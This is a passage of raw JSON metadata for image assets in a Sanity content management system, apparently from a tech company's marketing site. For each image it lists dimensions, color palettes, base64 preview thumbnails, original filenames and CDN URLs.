","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6c9af5","foreground":"#000","population":0.09,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#566d9b","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1888e0","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"GoTo_Financial_Logo.svg","path":"images/sczeoy4w/production/24243b6af11f6ac6d8d07c329de09e902cfe8173-595x97.svg","sha1hash":"24243b6af11f6ac6d8d07c329de09e902cfe8173","size":3552,"uploadId":"khk9TCPo6kgy3zeaBjVyYeEX0g5R59RA","url":"https://cdn.sanity.io/images/sczeoy4w/production/24243b6af11f6ac6d8d07c329de09e902cfe8173-595x97.svg"} {"_createdAt":"2023-09-15T11:53:44Z","_id":"image-2445f589da59f8f9c4d660143ef73c1fedeaa73e-3060x880-png","_rev":"kCpVRB4k8RYeMqmK07ETdV","_type":"sanity.imageAsset","_updatedAt":"2023-09-15T11:53:44Z","assetId":"2445f589da59f8f9c4d660143ef73c1fedeaa73e","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.477272727272727,"height":880,"width":3060},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAIAAABM9SnKAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA8klEQVQYlVXN30rDMBQG8LysRSFT2aw6nAqyK19AxLvNynyDzW3aSgUngleOLn9OmoQstvUhpM1a9cd39cF3Djo46be7F63O6fbesYcPq/hb2Pew77WOdva7uNPD7d6uf3bev7y6vhkMbofDIAjuRqN7NJ4+TmbhwzwqM4smZcLx9MmV8zCO4tcoXjy/LN7ePz6XS7JBKWUoWa0IpYxzzgFAAADnnFUBIaSUSusySmutjTHW2q8aSpKEMQo1ITZ7zrmU0hizXpuGtTbP8+8aIoQAgHKX/1BKGWOaJ06WZUVR/I7dtzRNVUX+58qGa9xppdQPJoAgkrplrXcAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#323c4b","foreground":"#fff","population":1.95,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c1c68","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbbbc","foreground":"#000","population":2.23,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbbbc","foreground":"#000","population":2.23,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4f4fc","foreground":"#000","population":0.06,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#546c8c","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3636c8","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"first-frontend-version.png","path":"images/sczeoy4w/production/2445f589da59f8f9c4d660143ef73c1fedeaa73e-3060x880.png","sha1hash":"2445f589da59f8f9c4d660143ef73c1fedeaa73e","size":135019,"uploadId":"DO3CgRkH1QjdGyXE0W4rubmGnDn0IUwT","url":"https://cdn.sanity.io/images/sczeoy4w/production/2445f589da59f8f9c4d660143ef73c1fedeaa73e-3060x880.png"} {"_createdAt":"2023-05-24T09:25:26Z","_id":"image-2449dbe5e33cf5f2cf6842da531f0cc5f276c06e-1812x978-png","_rev":"Bg5HPBiLdZofLBzDDjHReJ","_type":"sanity.imageAsset","_updatedAt":"2023-05-24T09:25:26Z","assetId":"2449dbe5e33cf5f2cf6842da531f0cc5f276c06e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M6S?DW-=-p%M?b~qj[s:ayM|-:jsIVbIoL","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.852760736196319,"height":978,"width":1812},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAACE4AAAhOAFFljFgAAABXUlEQVQokXVTi26DMAzs/3/npJV1FBpC4viRm2wKolVnyQKc89k+h4uZad8Mp+fhZm/+dt5fc/vF9rctuYsoVPU96cVVDSfcK+G5EjVBygVrqQepJ5em4aIWXa6FcJ8T8lqCOBiBwDvhbqjEfX4scG/MMHMywZAarolQ2xZLy4qv7xtu4wSiduJ77TCqeXd5rRCRSF5JMMwF1/uMtSwwU1Bj3KcUXVJrkXvu8AjEeJVQqQWZj5dJMUwZ38MVyzIFoced1HH6lOYjIYtiTgXzUiCqsdFcFT8PwjgnlFqPQkSMUtuuIT5q2Fj6fc4Y5+zvAWA1EBtYDGq2xZhD53HyIvSvht2B0xNItGuzVd9tWx7h9jthuI2xafOWt1NczK337jEW6TmX2GJ7btTHPl9mx/kNeKSM6ZFcx+644x6ySGVRcy2Ypbs2LraPzOwxDW3D92+W0PCJ634mov5T6B90IGCIebGxCQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c445c","foreground":"#fff","population":0.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c3c88","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a7b4c5","foreground":"#000","population":0.09,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a7b4c5","foreground":"#000","population":0.09,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8ec2ed","foreground":"#000","population":0.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#54708f","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1ec9f9","foreground":"#000","population":0.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"talon.one-services-video-cut.png","path":"images/sczeoy4w/production/2449dbe5e33cf5f2cf6842da531f0cc5f276c06e-1812x978.png","sha1hash":"2449dbe5e33cf5f2cf6842da531f0cc5f276c06e","size":301782,"uploadId":"W1p1qAcK6siwHGx48BVrQ5h13J650hn1","url":"https://cdn.sanity.io/images/sczeoy4w/production/2449dbe5e33cf5f2cf6842da531f0cc5f276c06e-1812x978.png"} {"_createdAt":"2024-05-17T07:37:52Z","_id":"image-244d8ac4e0a21a3f406c557e3cedd9160c313638-1197x669-jpg","_rev":"5dKvdU2b7V4fiIIxYkySor","_type":"sanity.imageAsset","_updatedAt":"2024-05-17T07:37:52Z","assetId":"244d8ac4e0a21a3f406c557e3cedd9160c313638","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M36uGV~lDgIBRj$=otIoo$o$9EI9jFs:xb","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.789237668161435,"height":669,"width":1197},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAMFB//EACAQAAICAgICAwAAAAAAAAAAAAECAAQDEQUSFCExQWH/xAAXAQADAQAAAAAAAAAAAAAAAAACAwQG/8QAGREAAgMBAAAAAAAAAAAAAAAAAAECAxET/9oADAMBAAIRAxEAPwDJ6tDi/DRsiM2XrtvetmKtiia3StWZH+yzblHjcONkxdkB38xF3GiuQqgD8mxhTEibwkjFoDSkwlIKND1CN5IHT//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e3657","foreground":"#fff","population":0.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0b2480","foreground":"#fff","population":0.15,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2c3397","foreground":"#fff","population":7.01,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d3c6b","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8c9ccf","foreground":"#000","population":0.06,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c75a6","foreground":"#fff","population":1.9,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2c3397","foreground":"#fff","population":7.01,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"ebook-cover-transforming-shopping-experiences.jpg","path":"images/sczeoy4w/production/244d8ac4e0a21a3f406c557e3cedd9160c313638-1197x669.jpg","sha1hash":"244d8ac4e0a21a3f406c557e3cedd9160c313638","size":120572,"uploadId":"WZ41tWNz3jUZeLhL4hw1urY4uLi7xahl","url":"https://cdn.sanity.io/images/sczeoy4w/production/244d8ac4e0a21a3f406c557e3cedd9160c313638-1197x669.jpg"} {"_createdAt":"2022-11-16T06:55:05Z","_id":"image-24a68697b380851a85face173086100bebca7b8a-1212x424-jpg","_rev":"PJutSls1mvFq6xuKvmZdIf","_type":"sanity.imageAsset","_updatedAt":"2022-11-16T07:25:17Z","altText":"Emissions measurement graphs at Aiven","assetId":"24a68697b380851a85face173086100bebca7b8a","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.858490566037736,"height":424,"width":1212},"exif":{"ColorSpace":65535,"PixelXDimension":1212,"PixelYDimension":424,"_type":"sanity.imageExifMetadata"},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAHABQDASIAAhEBAxEB/8QAFwABAAMAAAAAAAAAAAAAAAAAAAIECP/EABwQAAIDAAMBAAAAAAAAAAAAAAACAQMRBBIxcf/EABUBAQEAAAAAAAAAAAAAAAAAAAAB/8QAFhEBAQEAAAAAAAAAAAAAAAAAAAEC/9oADAMBAAIRAxEAPwDUFOwktPuk3brOwmyACqNtvPZ9RK4X6AAk1Y//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#954b4f","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3c947c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a0c5d6","foreground":"#000","population":2.18,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a0c5d6","foreground":"#000","population":2.18,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ef9ca6","foreground":"#000","population":0.07,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#54a494","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ce2e3b","foreground":"#fff","population":0.19,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"Sustainability_post_graphs.jpg","path":"images/sczeoy4w/production/24a68697b380851a85face173086100bebca7b8a-1212x424.jpg","sha1hash":"24a68697b380851a85face173086100bebca7b8a","size":207932,"title":"Emissions measurement graphs at Aiven","uploadId":"h5D4kRhErZtuH3bK32OQrQNvrXcPLgse","url":"https://cdn.sanity.io/images/sczeoy4w/production/24a68697b380851a85face173086100bebca7b8a-1212x424.jpg"} {"_createdAt":"2023-11-09T19:59:06Z","_id":"image-250d3a9a85c4fbdcc4d1d5f158910bbc278be878-1200x628-png","_rev":"5NC6OkIr0nge6PtSR6ZF75","_type":"sanity.imageAsset","_updatedAt":"2023-11-09T19:59:06Z","assetId":"250d3a9a85c4fbdcc4d1d5f158910bbc278be878","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M797o9Dg-#t202~pE3%Lt59b4nxos;t9t2","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACqElEQVQokSXSbU9aBwDF8fsJ9sYCChcucHm4F/AiDy1aYE5BQLAqmKxotzYqbtSsotWCWp6GwNQ65tJ1MdvsbNKmWbJ3S7aP91+oX+CcnJOfIDkfM5+tsrHeY2O9z+bGGcuFDm6tgs7yFL30DINtj1H7C4yOI0zOBrJ2wkz2kielK1af/MLU7BmSp8mY4wjBaF3l8+g3fPmgwlr+OavLL8imDvAFKkjKLlb1AKunhtV7jEWpI3laxOZfUatf8+fra96+ueGo+Z5oaoDoaiDoTA/RAiUSiQqZzAHpdJXE3BGx2QaxRId4ss/UbJ9gtItDa6OET3i0fcVv1x/45+2v/PfXDR/+/pevnr7DNt5D0IlFxsPbTM/VSGTrJHMtkrkOcws95pfPyeYHJBcuCMV72LxN1LtdiluXtLsXvD475ferN1z+8ZG18g3OwI8IessqwalnJLLHpB80ySx1yCwNw07JFS5YWPmJ1OKAUKyH3ddE1tqEYlVS2U1KW/vs1foUS10m586xaRcIBssa4WiFzGKDXKFDLt8ls9glvdgns3TOfH5AemnA5MwpaqiD1dNGUmsoWpnp1C65lTah+EtsvgZmtYtwRyzinfiW+1/sE08ecn/mkMBUFX+khnbvGH+kgX+yjRpqfZosqW2cE320yPDXE8LxHp7wsKiJydVEGBldwWEr4vNt4AlsY/eWsSplPBMV3NoeomOXMfk5Rkf1ExuL2sYXecXd6Z8JRs8Zj/RQgt8jqXWMzpcII/o8drGA4voah3cLk7yJxVnCH/wOj38Hk7yD3nrrcOjMrLRwTfyAGjpFHm8hqceY3YcYnTWMrjrCZ7oCI4YVhnx05keMiI/Rm9cR7SVEucyobecWtnwbOJxlVjqI7hZjjhoG+wEG+z6jchWTu8X/hvp/+csXWEkAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#334474","foreground":"#fff","population":0.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041a6d","foreground":"#fff","population":0.11,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bfc4d4","foreground":"#000","population":11.77,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bfc4d4","foreground":"#000","population":11.77,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7a82c4","foreground":"#fff","population":0.91,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6f7397","foreground":"#fff","population":3.85,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#af4125","foreground":"#fff","population":0.33,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"idealo CTO Andreas Hankel.png","path":"images/sczeoy4w/production/250d3a9a85c4fbdcc4d1d5f158910bbc278be878-1200x628.png","sha1hash":"250d3a9a85c4fbdcc4d1d5f158910bbc278be878","size":318799,"uploadId":"L8fKbIoa0ztRRs8nrpK1LObA1oeZUsbX","url":"https://cdn.sanity.io/images/sczeoy4w/production/250d3a9a85c4fbdcc4d1d5f158910bbc278be878-1200x628.png"} {"_createdAt":"2023-10-18T12:48:38Z","_id":"image-25a506b6e034d5f2e9054183baa4db7be469b7fe-1200x628-jpg","_rev":"zE08g5Yj02ino50zLcSevi","_type":"sanity.imageAsset","_updatedAt":"2023-10-18T12:48:38Z","assetId":"25a506b6e034d5f2e9054183baa4db7be469b7fe","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MJPGmuOxnKn,.9t:I8krx]R5_3R*ofaKIo","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAQCAwUH/8QAJhAAAQMDAgUFAAAAAAAAAAAAAQACAwQFERJRBhMhMUEUFSIjMv/EABcBAAMBAAAAAAAAAAAAAAAAAAEDBAX/xAAeEQADAAIBBQAAAAAAAAAAAAABAgMAIQQSQVFh4f/aAAwDAQACEQMRAD8A7fMLoKmTkfku6HYK653b2K3iori558kDzstKEfdIk+JGNfa3a2h2MYyMqi9Ski47DBNOpwvnJW+/QVdKyYRys1Ds5nVCYtbG+ij+I7bIWRLnVogbW/X3GvJVYjP/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f435c","foreground":"#fff","population":2.82,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcb404","foreground":"#000","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3f435c","foreground":"#fff","population":2.82,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d2c5a2","foreground":"#000","population":0.97,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eac358","foreground":"#000","population":0.42,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c74a4","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7cf0f","foreground":"#000","population":2.78,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"south-east-learning-whitepaper-meta-preview.jpg","path":"images/sczeoy4w/production/25a506b6e034d5f2e9054183baa4db7be469b7fe-1200x628.jpg","sha1hash":"25a506b6e034d5f2e9054183baa4db7be469b7fe","size":78675,"uploadId":"qTJ3VSJD1SkwPGF6En7is7faFRrrq7Wg","url":"https://cdn.sanity.io/images/sczeoy4w/production/25a506b6e034d5f2e9054183baa4db7be469b7fe-1200x628.jpg"} {"_createdAt":"2022-06-06T03:10:55Z","_id":"image-25d75ec64ecec16985cb970efdd7a1652c0ff95f-476x250-jpg","_rev":"qkpX9b3U0TpOGFQp873FvL","_type":"sanity.imageAsset","_updatedAt":"2022-06-06T03:10:55Z","assetId":"25d75ec64ecec16985cb970efdd7a1652c0ff95f","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MNPsbZuPxbMI.TOsMxspXmoM%hMdbuxbR5","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.904,"height":250,"width":476},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAUCBgf/xAAhEAABAwQCAwEAAAAAAAAAAAABAgMEAAURMQYSFBUhcf/EABUBAQEAAAAAAAAAAAAAAAAAAAED/8QAGhEAAgMBAQAAAAAAAAAAAAAAAQIAAxEiMf/aAAwDAQACEQMRAD8A3d+DcVyHFNyuralfB20KRcxlP2yGgRprhkNrS4oOKxlI3ire0kCSo/c/tKr9b4sy4wvKYS5gndNmleZWhVZ8byT4rePbWduU4R3JKTgY1RTWOw0w0G2W0oQNJSMCimsFVAMnYwZywGCf/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#58453e","foreground":"#fff","population":0.3,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d4043c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f5650e","foreground":"#fff","population":0.67,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4cccc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f06894","foreground":"#fff","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c8c80","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5650e","foreground":"#fff","population":0.67,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Support_Services_meta_preview.jpeg","path":"images/sczeoy4w/production/25d75ec64ecec16985cb970efdd7a1652c0ff95f-476x250.jpg","sha1hash":"25d75ec64ecec16985cb970efdd7a1652c0ff95f","size":28687,"uploadId":"LAUEPf8osI7p1C4IvrydzexQChQnysc2","url":"https://cdn.sanity.io/images/sczeoy4w/production/25d75ec64ecec16985cb970efdd7a1652c0ff95f-476x250.jpg"} {"_createdAt":"2023-07-31T07:45:21Z","_id":"image-260938caeb558dc0060beee5464195545b49914a-1200x628-png","_rev":"JHBctTLkFjmsOG75HdwOvx","_type":"sanity.imageAsset","_updatedAt":"2023-07-31T07:45:21Z","assetId":"260938caeb558dc0060beee5464195545b49914a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TM[D.#gN;3ic}DjbfjjZf6hga0enkWcE","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAABiklEQVQokZWSS08TARhF78yIRSsJQqNIMEIMuDHE6MaFC/+BkQrII0VCaEs77WCxtGkqIRDjY6O/+B4zZSCl0QWLL9/u5CTnihUxuKJgVbAu2BRsC0qCT4I9wb6gIqgJYkFT8FlwJNwWHF+cbgJ0RbgmHAs3hTMgbeFj4U4KfJ8BPwQ3NzwU/qdhaQriRajOwX4BDmYgfgS1KSiPQ3kMV8dw/TZOxnHrLm7fw71JfFLApwXcz+NuiCgGED+Dn+/g9C10XsDJazh7A73n0JiG+gRuTODWfdydwf05fL6Ify3j36/wn5f4xwLu30kNA9h9AK1lSJag/hiSBWg9hWQWqnmo5HAth5t5/GUSd6bx11l89gR/m8ff5/H5Q9zLIa8IF0O8dguvR3gjxFshLoV4J8S7wnvCaZRqgOshboT4MMJHEW5HuBPhbvqDLMpVmCzKhmDrP1EOrke5rHwVZWA4sBReFf4ovCm8LVzSiOHQbJKL2VxWTiczmM014NoIcGcIWB4CNkaA2QZT4F9MAeXa46JPrAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":21.97,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bea288","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbbc6d","foreground":"#000","population":0.35,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b67d56","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":21.97,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"SEO Image - Aiven + Digitalparking.png","path":"images/sczeoy4w/production/260938caeb558dc0060beee5464195545b49914a-1200x628.png","sha1hash":"260938caeb558dc0060beee5464195545b49914a","size":31484,"uploadId":"potmWZXvM0GU8SQoBfPeo7R6basnhyWs","url":"https://cdn.sanity.io/images/sczeoy4w/production/260938caeb558dc0060beee5464195545b49914a-1200x628.png"} {"_createdAt":"2024-02-29T12:23:33Z","_id":"image-261f9f3f3b55f3648c568afb3e9809ed5f309976-1559x1080-png","_rev":"V3O8maT2S7wtHLmaPhSYA8","_type":"sanity.imageAsset","_updatedAt":"2024-02-29T12:23:33Z","assetId":"261f9f3f3b55f3648c568afb3e9809ed5f309976","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V2SY~z0000%M9F~BkqIoIUae00NIxvt6s.~qIrD*Rjo0","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4435185185185184,"height":1080,"width":1559},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAIAAACgpqunAAAACXBIWXMAAAsTAAALEwEAmpwYAAABgklEQVQokXVTi27bMAzU/39gsa3YVixb69h6kZQoWa8Mkpx0ydrDmbAMHnmUZPHl+fvT1+dvP37+WdZNmU3bzYC0YBGpwxE57KQbyfUlEYmXt+3l9fzrLBcNEr1EluCkAW0tknPOTyI5QATs37z3zMwhiEXZN2k3IOsDxoQxEUcc2Z45xDjJIfgODiHEGPcBIZWWSgNST0xpzznlnFLqMb9jvpdcci4TOWehulgB4Kw6VDPtEbXW9g9qrUJpo7QZJgN3S9NR6s8o9FCitXYZaK0JqYyxwCEcoqPz1edoOPGRWBuLGOI+Rn0UTKs9dWS3q/IQwzi4vlmzY7mb9ib+H601YQC1RYvOcQzxmDKXmkstnysvU7xIc1rU6WwWRQqYu/+Sck1d3I79nbbvWVsTZ4O/V3NazauE1Tjw0cXkO7OPifccUtlL2+vlkaUJQ7yBWy1tliQ4hV4Ta2JzjdZHCsmnyrndMVXhPPfLOAjOAXXaEcf/4NA58hxTLrWVdrkx1/YX44gr6/+nqjoAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#646565","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#113872","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b8d0f4","foreground":"#000","population":0.17,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9ccccc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b8d0f4","foreground":"#000","population":0.17,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6a849e","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#226cdc","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"eda-serverless-kafka-lamdba-function-details.png","path":"images/sczeoy4w/production/261f9f3f3b55f3648c568afb3e9809ed5f309976-1559x1080.png","sha1hash":"261f9f3f3b55f3648c568afb3e9809ed5f309976","size":51428,"uploadId":"s8pBp8DP3AAo14gNr0DDDp3BqF94p9jk","url":"https://cdn.sanity.io/images/sczeoy4w/production/261f9f3f3b55f3648c568afb3e9809ed5f309976-1559x1080.png"} {"_createdAt":"2022-06-16T23:49:35Z","_id":"image-264ebf6bd0fdb62de34ebd501e6e4274bc0a8151-1200x630-jpg","_rev":"0HOthdQkSgJdYc0C9w1aND","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T23:49:35Z","assetId":"264ebf6bd0fdb62de34ebd501e6e4274bc0a8151","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MNSB3i|{R-F{[U%5a$f6oyVs+uJVofxDI?","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAMEBf/EACEQAAIBBAICAwAAAAAAAAAAAAECAwAEERIFIRNBFDGR/8QAFwEAAwEAAAAAAAAAAAAAAAAAAgUGB//EAB0RAQEAAgEFAAAAAAAAAAAAAAECAAMRBRIVIWH/2gAMAwEAAhEDEQA/ANeA8f8AEVZLZDKF7IJGTUV3cQcZxHn2VZpZdMMm2qY9VU/cK9D8pU0MdwipOgdV7APqofyfZsGzkzV9stSgvv7irEW9xZQykOWZcsQMDOaKqhjWONURQqj6Aopbt6jVWsnBhS0Ac5//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity